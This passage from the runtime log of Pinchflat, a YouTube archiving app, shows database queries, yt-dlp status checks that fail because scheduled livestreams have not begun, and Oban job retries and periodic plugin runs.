(m0."media_item_id" = ?) [102577] 16:15:33.791 [debug] QUERY OK source="media_profiles" db=0.3ms idle=4.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:15:33.792 [debug] QUERY OK source="settings" db=0.2ms idle=4.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:15:33.792 [debug] QUERY OK source="settings" db=0.2ms idle=4.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:15:33.793 [debug] Running yt-dlp command for action: get_downloadable_status 16:15:33.794 [debug] QUERY OK source="settings" db=0.1ms idle=4.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:15:33.794 [debug] QUERY OK source="settings" db=0.2ms idle=3.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:15:33.795 [debug] QUERY OK source="settings" db=0.2ms idle=3.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:15:33.795 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=SSBMMeRs_b8 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/1d/89/1d89204dd6e1a7c58bad6ac50244136b15fc7eff01625babdf50da1c00550b1e.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:15:37.221 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=SSBMMeRs_b8 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/1d/89/1d89204dd6e1a7c58bad6ac50244136b15fc7eff01625babdf50da1c00550b1e.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] SSBMMeRs_b8: This live event will begin in 30 days. 16:15:37.222 [error] yt-dlp download error for media item #102577: "ERROR: [youtube] SSBMMeRs_b8: This live event will begin in 30 days.\n" 16:15:37.242 [debug] QUERY OK source="media_items" db=19.3ms idle=443.4ms UPDATE "media_items" SET "last_error" = ?, "updated_at" = ? WHERE "id" = ? ["ERROR: [youtube] SSBMMeRs_b8: This live event will begin in 30 days.\n", ~U[2025-12-11 23:15:37Z], 102577] 16:15:37.243 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":102577},"id":2593,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":3457103,"event":"job:exception","queue_time":134489,"attempt":18,"tags":["media_item","media_fetching","show_in_dashboard"]} 16:15:47.211 [info] {"source":"oban","duration":1161,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:16:00.157 [info] {"source":"oban","duration":299,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:16:17.212 [info] {"source":"oban","duration":747,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:16:47.215 [info] {"source":"oban","duration":1014,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:17:00.158 [info] {"source":"oban","duration":320,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:17:17.217 [info] {"source":"oban","duration":1232,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:17:47.219 [info] {"source":"oban","duration":1178,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:18:00.159 [info] {"source":"oban","duration":280,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:18:17.221 [info] {"source":"oban","duration":1238,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:18:47.223 [info] {"source":"oban","duration":1308,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:19:00.160 [info] {"source":"oban","duration":281,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:19:17.225 [info] {"source":"oban","duration":1144,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:19:47.227 [info] {"source":"oban","duration":1355,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:20:00.161 [info] {"source":"oban","duration":552,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:20:17.229 [info] {"source":"oban","duration":1310,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:20:47.231 [info] {"source":"oban","duration":1411,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:21:00.163 [info] {"source":"oban","duration":338,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:21:17.233 [info] {"source":"oban","duration":1035,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:21:47.235 [info] {"source":"oban","duration":1121,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:22:00.164 [info] {"source":"oban","duration":292,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:22:17.237 [info] {"source":"oban","duration":964,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:22:31.628 [info] {"args":{"id":89335},"id":2568,"meta":{},"system_time":1765495351628140591,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":19,"tags":["media_item","media_fetching","show_in_dashboard"]} 16:22:31.629 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=457.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [89335] 16:22:31.629 [info] User scripts lifecyle file either not present or is empty. Skipping. 16:22:31.630 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=458.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 16:22:31.631 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=459.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:22:31.632 [debug] QUERY OK source="media_items" db=0.4ms idle=6.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89335] 16:22:31.633 [debug] QUERY OK source="media_metadata" db=0.1ms idle=5.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [89335] 16:22:31.633 [debug] QUERY OK source="media_profiles" db=0.3ms idle=4.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:22:31.634 [debug] QUERY OK source="settings" db=0.2ms idle=4.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:22:31.635 [debug] QUERY OK source="settings" db=0.1ms idle=3.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:22:31.635 [debug] Running yt-dlp command for action: get_downloadable_status 16:22:31.636 [debug] QUERY OK source="settings" db=0.2ms idle=4.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:22:31.637 [debug] QUERY OK source="settings" db=0.2ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:22:31.637 [debug] QUERY OK source="settings" db=0.2ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:22:31.637 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=BJKOUbMYmYc --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/e6/dc/e6dc810dca8c52de2e682478b57392e1ba31282968c2abaa111b7d78de453ad0.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:22:35.167 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=BJKOUbMYmYc --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/e6/dc/e6dc810dca8c52de2e682478b57392e1ba31282968c2abaa111b7d78de453ad0.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] BJKOUbMYmYc: This live event will begin in 23 days. 16:22:35.168 [error] yt-dlp download error for media item #89335: "ERROR: [youtube] BJKOUbMYmYc: This live event will begin in 23 days.\n" 16:22:35.190 [debug] QUERY OK source="media_items" db=21.2ms queue=0.1ms idle=1997.4ms UPDATE "media_items" SET "last_error" = ?, "updated_at" = ? WHERE "id" = ? ["ERROR: [youtube] BJKOUbMYmYc: This live event will begin in 23 days.\n", ~U[2025-12-11 23:22:35Z], 89335] 16:22:35.192 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":89335},"id":2568,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":3562503,"event":"job:exception","queue_time":915137,"attempt":19,"tags":["media_item","media_fetching","show_in_dashboard"]} 16:22:47.239 [info] {"source":"oban","duration":1079,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:23:00.165 [info] {"source":"oban","duration":356,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:23:17.241 [info] {"source":"oban","duration":1293,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:23:47.243 [info] {"source":"oban","duration":1244,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:24:00.166 [info] {"source":"oban","duration":340,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:24:17.245 [info] {"source":"oban","duration":1118,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:24:47.247 [info] {"source":"oban","duration":1313,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:25:00.167 [info] {"source":"oban","duration":287,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:25:17.249 [info] {"source":"oban","duration":1180,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:25:47.250 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:26:00.168 [info] {"source":"oban","duration":415,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:26:17.252 [info] {"source":"oban","duration":993,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:26:47.253 [info] {"source":"oban","duration":906,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:27:00.169 [info] {"source":"oban","duration":266,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:27:17.255 [info] {"source":"oban","duration":956,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:27:47.258 [info] {"source":"oban","duration":1332,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:28:00.170 [info] {"source":"oban","duration":307,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:28:17.260 [info] {"source":"oban","duration":1283,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:28:47.262 [info] {"source":"oban","duration":1342,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:29:00.171 [info] {"source":"oban","duration":290,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:29:17.264 [info] {"source":"oban","duration":1228,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:29:47.266 [info] {"source":"oban","duration":1363,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:30:00.172 [info] {"source":"oban","duration":317,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:30:17.268 [info] {"source":"oban","duration":1547,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:30:47.270 [info] {"source":"oban","duration":1302,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:31:00.173 [info] {"source":"oban","duration":297,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:31:17.272 [info] {"source":"oban","duration":1266,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:31:47.274 [info] {"source":"oban","duration":1082,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:32:00.174 [info] {"source":"oban","duration":251,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:32:17.276 [info] {"source":"oban","duration":955,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:32:47.278 [info] {"source":"oban","duration":1379,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:33:00.175 [info] {"source":"oban","duration":409,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:33:17.280 [info] {"source":"oban","duration":1293,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:33:47.282 [info] {"source":"oban","duration":948,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:34:00.176 [info] {"source":"oban","duration":416,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:34:17.283 [info] {"source":"oban","duration":854,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:34:47.286 [info] {"source":"oban","duration":949,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:35:00.177 [info] {"source":"oban","duration":265,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:35:17.288 [info] {"source":"oban","duration":1297,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:35:47.290 [info] {"source":"oban","duration":1254,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:36:00.178 [info] {"source":"oban","duration":343,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:36:17.292 [info] {"source":"oban","duration":1044,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:36:47.294 [info] {"source":"oban","duration":1520,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:37:00.179 [info] {"source":"oban","duration":328,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:37:17.296 [info] {"source":"oban","duration":1544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:37:47.298 [info] {"source":"oban","duration":1217,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:38:00.180 [info] {"source":"oban","duration":370,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:38:17.300 [info] {"source":"oban","duration":1440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:38:47.302 [info] {"source":"oban","duration":1186,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:39:00.181 [info] {"source":"oban","duration":301,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:39:17.304 [info] {"source":"oban","duration":1090,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:39:47.306 [info] {"source":"oban","duration":1058,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:40:00.182 [info] {"source":"oban","duration":325,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:40:17.308 [info] {"source":"oban","duration":1059,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:40:47.310 [info] {"source":"oban","duration":1160,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:41:00.183 [info] {"source":"oban","duration":279,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:41:17.312 [info] {"source":"oban","duration":1124,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:41:47.314 [info] {"source":"oban","duration":1242,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:42:00.184 [info] {"source":"oban","duration":369,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:42:17.316 [info] {"source":"oban","duration":1082,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:42:47.318 [info] {"source":"oban","duration":1107,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:43:00.185 [info] {"source":"oban","duration":291,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:43:17.320 [info] {"source":"oban","duration":1111,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:43:47.322 [info] {"source":"oban","duration":984,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:44:00.186 [info] {"source":"oban","duration":352,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:44:17.324 [info] {"source":"oban","duration":1285,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:44:47.326 [info] {"source":"oban","duration":1179,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:45:00.187 [info] {"source":"oban","duration":344,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:45:17.328 [info] {"source":"oban","duration":1317,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:45:47.330 [info] {"source":"oban","duration":1320,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:46:00.188 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:46:17.332 [info] {"source":"oban","duration":1314,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:46:47.334 [info] {"source":"oban","duration":1346,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:47:00.189 [info] {"source":"oban","duration":370,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:47:17.336 [info] {"source":"oban","duration":1432,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:47:47.338 [info] {"source":"oban","duration":1415,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:48:00.190 [info] {"source":"oban","duration":305,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:48:17.340 [info] {"source":"oban","duration":1459,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:48:47.342 [info] {"source":"oban","duration":1459,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:49:00.191 [info] {"source":"oban","duration":410,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:49:17.344 [info] {"source":"oban","duration":1020,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:49:47.346 [info] {"source":"oban","duration":1465,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:50:00.192 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:50:17.348 [info] {"source":"oban","duration":1211,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:50:47.350 [info] {"source":"oban","duration":1415,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:51:00.193 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:51:17.352 [info] {"source":"oban","duration":1060,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:51:47.354 [info] {"source":"oban","duration":1149,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:52:00.194 [info] {"source":"oban","duration":229,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:52:17.356 [info] {"source":"oban","duration":918,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:52:47.358 [info] {"source":"oban","duration":989,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:53:00.195 [info] {"source":"oban","duration":290,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:53:17.360 [info] {"source":"oban","duration":917,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:53:47.362 [info] {"source":"oban","duration":1060,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:54:00.196 [info] {"source":"oban","duration":346,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:54:17.364 [info] {"source":"oban","duration":1338,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:54:47.366 [info] {"source":"oban","duration":1418,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:55:00.197 [info] {"source":"oban","duration":341,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:55:17.368 [info] {"source":"oban","duration":1489,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:55:47.370 [info] {"source":"oban","duration":1246,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:56:00.198 [info] {"source":"oban","duration":316,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:56:17.372 [info] {"source":"oban","duration":1336,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:56:47.374 [info] {"source":"oban","duration":1411,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:57:00.199 [info] {"source":"oban","duration":273,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:57:17.376 [info] {"source":"oban","duration":1477,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:57:47.378 [info] {"source":"oban","duration":1387,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:58:00.200 [info] {"source":"oban","duration":260,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:58:17.380 [info] {"source":"oban","duration":1007,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:58:47.382 [info] {"source":"oban","duration":1033,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:59:00.201 [info] {"source":"oban","duration":273,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:59:17.384 [info] {"source":"oban","duration":1170,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:59:47.386 [info] {"source":"oban","duration":978,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:00:00.202 [info] {"source":"oban","duration":313,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:00:17.583 [info] {"source":"oban","duration":195884,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":4} 17:00:47.585 [info] {"source":"oban","duration":1508,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:01:00.203 [info] {"source":"oban","duration":319,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:01:17.587 [info] 